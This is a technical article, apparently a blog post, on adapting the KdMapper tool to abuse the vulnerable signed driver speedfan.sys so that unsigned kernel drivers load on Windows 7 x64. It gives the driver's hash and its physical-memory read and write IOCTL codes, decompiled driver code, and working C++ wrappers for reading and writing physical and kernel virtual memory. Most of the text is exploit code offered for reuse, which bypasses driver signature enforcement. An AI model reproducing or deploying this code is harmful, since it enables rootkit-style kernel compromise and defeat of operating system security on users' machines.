1.Background
KdMapper is a tool that exploits Intel driver vulnerabilities to load unsigned drivers without trace. This article uses other vulnerabilities (refer to “[Reprint] Using Signed Driver Vulnerabilities to Load Unsigned Drivers”) and make corresponding modifications to achieve similar functions. . Everyone needs to have a certain understanding of the KdMapper code.
2. Driver information
Driver name | speedfan.sys? |
Time stamp | 50DF59B7 |
MD5 | 0FFE35F0B0CD5A324BBE22F02569AE3B |
File version | 2.3.11.0 |
Device name | \.\SpeedFan |
Read physical memory | 0x9C402428 |
Write physical memory | 0x9C40242C |
Windows 7 | Supported |
Windows 10 | Not supported |
Windows 11 | Not supported |
3.IDA analysis
3.1 Entry function:
NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { unsigned __int64 v2; // rax v2 = BugCheckParameter2; if (!BugCheckParameter2 || BugCheckParameter2 == 0x2B992DDFA232i64) { v2 = ((unsigned __int64) & amp;BugCheckParameter2 ^ MEMORY[0xFFFFF78000000320]) & amp; 0xFFFFFFFFFFFFFi64; if (!v2) v2 = 0x2B992DDFA232i64; BugCheckParameter2 = v2; } BugCheckParameter3 = ~v2; return CreateDevice(DriverObject, RegistryPath); }</code>
3.2 Creating devices and symbolic links
NTSTATUS __fastcall CreateDevice(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { NTSTATUS result; //eax _UNICODE_STRING* v5; // rdi size_t v6; // rax __int64 v7; // r8 NTSTATUS v8; // eax NTSTATUS v9; // edi __int64 v10; // [rsp + 20h] [rbp-38h] struct _UNICODE_STRING DestinationString; // [rsp + 40h] [rbp-18h] BYREF PDEVICE_OBJECT DeviceObject; // [rsp + 68h] [rbp + 10h] BYREF RtlInitUnicodeString( & amp;DestinationString, aDeviceSpeedfan); result = IoCreateDevice(DriverObject, RegistryPath->Length + 114, & amp;DestinationString, 0x9C40u, 0, 0, & amp;DeviceObject); if (result >= 0) { DeviceObject->Flags |= 4u; v5 = (_UNICODE_STRING*)DeviceObject->DeviceExtension; *(_DWORD*) & amp;v5[2].Length = 0; *(_DWORD*)( & amp;v5[2].MaximumLength + 1) = 0; LODWORD(v5[2].Buffer) = 0; v5[1].MaximumLength = RegistryPath->MaximumLength; v6 = RegistryPath->Length; v5[1].Buffer = & amp;v5[7].Length; v5[1].Length = v6; memmove( & amp;v5[7], RegistryPath->Buffer, v6); sub_175B4(v5); if ((int)sub_176C8(v5) >= 0) { v7 = *(unsigned int*) & amp;v5[2].Length; if (_bittest((const int*) & amp;v7, 0x1Du)) { LODWORD(v10) = v5[2].Buffer; DbgPrint( "SpeedFan %s Built Dec 29 2012 21:59:34 Debug X Break X Setup X\\ ", aX20311, v7, *(unsigned int*)( & amp;v5[2].MaximumLength + 1), v10); } } v8 = IoCreateSymbolicLink(v5, & amp;DestinationString); v9 = v8; if (v8 >= 0 || v8 == 0xC0000035) { DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_17008; DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_11008; DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH) & amp;sub_114C8; DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)DeviceIoControl; result = 0; } else { IoDeleteDevice(DeviceObject); result = v9; } } return result; }
3.3 DeviceIoControl
__int64 __fastcall DeviceIoControl(PDEVICE_OBJECT pDeviceObject, IRP* pIrp) { _IO_STACK_LOCATION* pIosp; // rax int ntStatus; //ebx PHYSICAL_ADDRESS* pMemoryInfo; // rdi unsigned int nInputBufferLength; // er12 SIZE_T nOutputBufferLength; // r13 unsigned int nIoControlCode; // esi LONGLONG PhysicalAddressV31; // rbx PVOID pMappedIoSpaceV32; // rax void* pMappedIoSpaceV33; // r14 LONGLONG PhysicalAddressV34; // rbx PVOID pMappedIoSpaceV35; // rax void* pMappedIoSpaceV36; // r14 void* Dst; // [rsp + 20h] [rbp-D8h] LONGLONG PhysicalAddressV52; // [rsp + 70h] [rbp-88h] LONGLONG PhysicalAddressV53; // [rsp + 70h] [rbp-88h] void* PhysicalAddress; // [rsp + 100h] [rbp + 8h] IRP* Irp; // [rsp + 108h] [rbp + 10h] Irp = pIrp; pIosp = pIrp->Tail.Overlay.CurrentStackLocation; pIrp->IoStatus.Information = 0i64; ntStatus = 0xC0000023; pMemoryInfo = (PHYSICAL_ADDRESS*)pIrp->AssociatedIrp.SystemBuffer; nInputBufferLength = pIosp->Parameters.DeviceIoControl.InputBufferLength; nOutputBufferLength = pIosp->Parameters.DeviceIoControl.OutputBufferLength; nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode; ... switch(nIoControlCode) { case 0x9C402428: if (nInputBufferLength >= 8 & amp; & amp; (_DWORD)nOutputBufferLength)// Read physical memory { PhysicalAddressV34 = pMemoryInfo->QuadPart; PhysicalAddressV53 = pMemoryInfo->QuadPart; pMappedIoSpaceV35 = MmMapIoSpace(*pMemoryInfo, nOutputBufferLength, MmNonCached); pMappedIoSpaceV36 = pMappedIoSpaceV35; *(_QWORD*)MajorVersion = pMappedIoSpaceV35; if (pMappedIoSpaceV35) { if (_bittest(v55, 0xEu)) { LODWORD(v47) = nOutputBufferLength; DbgPrint( "IOCTL_PHYMEM_READ ofo %p pad X_ X vad %p siz X\\ ", v51, HIDWORD(PhysicalAddressV53), (unsigned int)PhysicalAddressV34, pMappedIoSpaceV35, v47); } memmove(pMemoryInfo, pMappedIoSpaceV36, nOutputBufferLength); Irp->IoStatus.Information = nOutputBufferLength; ntStatus = 0; v59 = 0; MmUnmapIoSpace(pMappedIoSpaceV36, (unsigned int)nOutputBufferLength); } else { ntStatus = 0xC0000088; } } goto LABEL_145; case 0x9C40242C: if (nInputBufferLength > 8) //Write to physical memory { PhysicalAddressV31 = pMemoryInfo->QuadPart; PhysicalAddressV52 = pMemoryInfo->QuadPart; nInputBufferLength -= 8; pMappedIoSpaceV32 = MmMapIoSpace(*pMemoryInfo, nInputBufferLength, MmNonCached); pMappedIoSpaceV33 = pMappedIoSpaceV32; *(_QWORD*)MajorVersion = pMappedIoSpaceV32; if (pMappedIoSpaceV32) { if (_bittest(v55, 0xEu)) { LODWORD(v47) = nInputBufferLength; DbgPrint( "IOCTL_PHYMEM_WRITE ofo %p pad X_ X vad %p siz X\\ ", v51, HIDWORD(PhysicalAddressV52), (unsigned int)PhysicalAddressV31, pMappedIoSpaceV32, v47); } memmove(pMappedIoSpaceV33, & amp;pMemoryInfo[1], nInputBufferLength); Irp->IoStatus.Information = 0i64; ntStatus = 0; v59 = 0; MmUnmapIoSpace(pMappedIoSpaceV33, nInputBufferLength); } else { ntStatus = 0xC0000088; } } goto LABEL_145; LABEL_145: if (ntStatus >= 0) goto LABEL_149; v5 = v51; goto LABEL_147; } ... LABEL_149: Irp->IoStatus.Status = ntStatus; IofCompleteRequest(Irp, 0); return (unsigned int)ntStatus; }
Among them, 0x9C402428 means reading physical memory, and 0x9C40242C means writing physical memory.
3.4 Precautions for use
The implementation uses MmMapIoSpace to map physical memory to process space or read and write later. Due to the use of physical memory, you will encounter the problem of non-one-to-one correspondence between physical pages and virtual pages during the coding process. For descriptions of the problems and solutions, see “Related Problems Encountered in KdMapper Extensions”.
4. Code implementation
4.1 .h file
#ifndef RtlOffsetToPointer #define RtlOffsetToPointer(Base, Offset) ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset)) )) #endif #ifndef RtlPointerToOffset #define RtlPointerToOffset(Base, Pointer) ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base)) )) #endif #define SPEEDFAN_DEVICE_TYPE (DWORD)0x9C40 #define SPEEDFAN_READ_PHYSICAL_MEMORY_FUNCID (DWORD)0x90A #define SPEEDFAN_WRITE_PHYSICAL_MEMORY_FUNCID (DWORD)0x90B #define IOCTL_SPEEDFAN_READ_PHYSICAL_MEMORY \ CTL_CODE(SPEEDFAN_DEVICE_TYPE, SPEEDFAN_READ_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C402428 #define IOCTL_SPEEDFAN_WRITE_PHYSICAL_MEMORY \ CTL_CODE(SPEEDFAN_DEVICE_TYPE, SPEEDFAN_WRITE_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C40242C
4.2 .c file
NTSTATUS sokno_driver::SuperCallDriverEx( _In_ HANDLE DeviceHandle, _In_ ULONG IoControlCode, _In_ PVOID InputBuffer, _In_ ULONG InputBufferLength, _In_opt_ PVOID OutputBuffer, _In_opt_ ULONG OutputBufferLength, _Out_opt_ PIO_STATUS_BLOCK IoStatus) { IO_STATUS_BLOCK ioStatus; NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle, NULL, NULL, NULL, &ioStatus, IoControlCode, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength); if (ntStatus == STATUS_PENDING) { ntStatus = NtWaitForSingleObject(DeviceHandle, FALSE, NULL); } if(IoStatus) *IoStatus = ioStatus; return ntStatus; } BOOL sokno_driver::SuperCallDriver( _In_ HANDLE DeviceHandle, _In_ ULONG IoControlCode, _In_ PVOID InputBuffer, _In_ ULONG InputBufferLength, _In_opt_ PVOID OutputBuffer, _In_opt_ ULONG OutputBufferLength) { BOOL bResult; IO_STATUS_BLOCK ioStatus; NTSTATUS ntStatus = SuperCallDriverEx( DeviceHandle, IoControlCode, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength, &ioStatus); bResult = NT_SUCCESS(ntStatus); SetLastError(RtlNtStatusToDosError(ntStatus)); return bResult; } BOOL WINAPI sokno_driver::SuperReadWritePhysicalMemory( _In_ HANDLE DeviceHandle, _In_ ULONG_PTR PhysicalAddress, _In_reads_bytes_(NumberOfBytes) PVOID Buffer, _In_ ULONG NumberOfBytes, _In_ BOOLEAN DoWrite) { BOOL bResult = FALSE; DWORD dwError = ERROR_SUCCESS; __try { if(DoWrite) { PPHYSICAL_ADDRESS pWriteInfo = (PPHYSICAL_ADDRESS)malloc(sizeof(PHYSICAL_ADDRESS) + NumberOfBytes); if(pWriteInfo) { pWriteInfo->QuadPart = PhysicalAddress; RtlCopyMemory( & amp;pWriteInfo[1], Buffer, NumberOfBytes); bResult = SuperCallDriver(DeviceHandle, IOCTL_SPEEDFAN_WRITE_PHYSICAL_MEMORY, pWriteInfo, sizeof(PHYSICAL_ADDRESS) + NumberOfBytes, NULL, NULL); if (!bResult) { Log(L"SuperReadWritePhysicalMemory Write Memory SuperCallDriver failed\r\\ "); } } else { Log(L"SuperReadWritePhysicalMemory Write Memory malloc failed\r\\ "); } } else { PHYSICAL_ADDRESS address; address.QuadPart = PhysicalAddress; bResult = SuperCallDriver(DeviceHandle, IOCTL_SPEEDFAN_READ_PHYSICAL_MEMORY, & amp;address, sizeof(address), Buffer, NumberOfBytes); if (!bResult) { Log(L"SuperReadWritePhysicalMemory Read Memory SuperCallDriver failed\r\\ "); } } } __except (EXCEPTION_EXECUTE_HANDLER) { bResult = FALSE; dwError = GetExceptionCode(); Log(L"[!] Error AtszioReadWritePhysicalMemory Exception!" << std::endl); } SetLastError(dwError); return bResult; } BOOL WINAPI sokno_driver::SuperReadPhysicalMemory( _In_ HANDLE DeviceHandle, _In_ ULONG_PTR PhysicalAddress, _In_ PVOID Buffer, _In_ ULONG NumberOfBytes) { return SuperReadWritePhysicalMemory(DeviceHandle, PhysicalAddress, Buffer, NumberOfBytes, FALSE); } BOOL WINAPI sokno_driver::SuperWritePhysicalMemory( _In_ HANDLE DeviceHandle, _In_ ULONG_PTR PhysicalAddress, _In_reads_bytes_(NumberOfBytes) PVOID Buffer, _In_ ULONG NumberOfBytes) { return SuperReadWritePhysicalMemory(DeviceHandle, PhysicalAddress, Buffer, NumberOfBytes, TRUE); } BOOL WINAPI sokno_driver::SuperWriteKernelVirtualMemory( _In_ HANDLE DeviceHandle, _In_ ULONG_PTR Address, _Out_writes_bytes_(NumberOfBytes) PVOID Buffer, _In_ ULONG NumberOfBytes) { BOOL bResult; ULONG_PTR physicalAddress = 0; SetLastError(ERROR_SUCCESS); bResult = SuperVirtualToPhysical(DeviceHandle, Address, &physicalAddress); if (bResult) { bResult = SuperReadWritePhysicalMemory(DeviceHandle, physicalAddress, Buffer, NumberOfBytes, TRUE); } return bResult; } BOOL WINAPI sokno_driver::SuperReadKernelVirtualMemory( _In_ HANDLE DeviceHandle, _In_ ULONG_PTR Address, _Out_writes_bytes_(NumberOfBytes) PVOID Buffer, _In_ ULONG NumberOfBytes) { BOOL bResult; ULONG_PTR physicalAddress = 0; SetLastError(ERROR_SUCCESS); bResult = SuperVirtualToPhysical(DeviceHandle, Address, &physicalAddress); if (bResult) { bResult = SuperReadWritePhysicalMemory(DeviceHandle, physicalAddress, Buffer, NumberOfBytes, FALSE); } return bResult; }
Among them, SuperReadKernelVirtualMemory and SuperWriteKernelVirtualMemory read and write the virtual address to physical address function in the virtual address memory page. The implementation of SuperVirtualToPhysical is introduced in the article “KdMapper Extended Implementation of Virtual Address to Physical Address”.
At the same time, due to the use of MmMapIoSpace, it can only run on Win7. For details, see “KdMapper Extension Implementation of Virtual Address Conversion to Physical Address”.
5. Operation effect
The effect of running on Windows 7 x64 environment is as follows. The driver HelloWorld.sys is an unsigned driver. For detailed description, please see the article “Implementation of KdMapper Loaded Driver”.
?
6.Special Tips
KdMapper made using speedfan.sys can only run on Win 7 x64 environment. Win10 and above environments will cause a blue screen due to the use of MmMapIoSpace.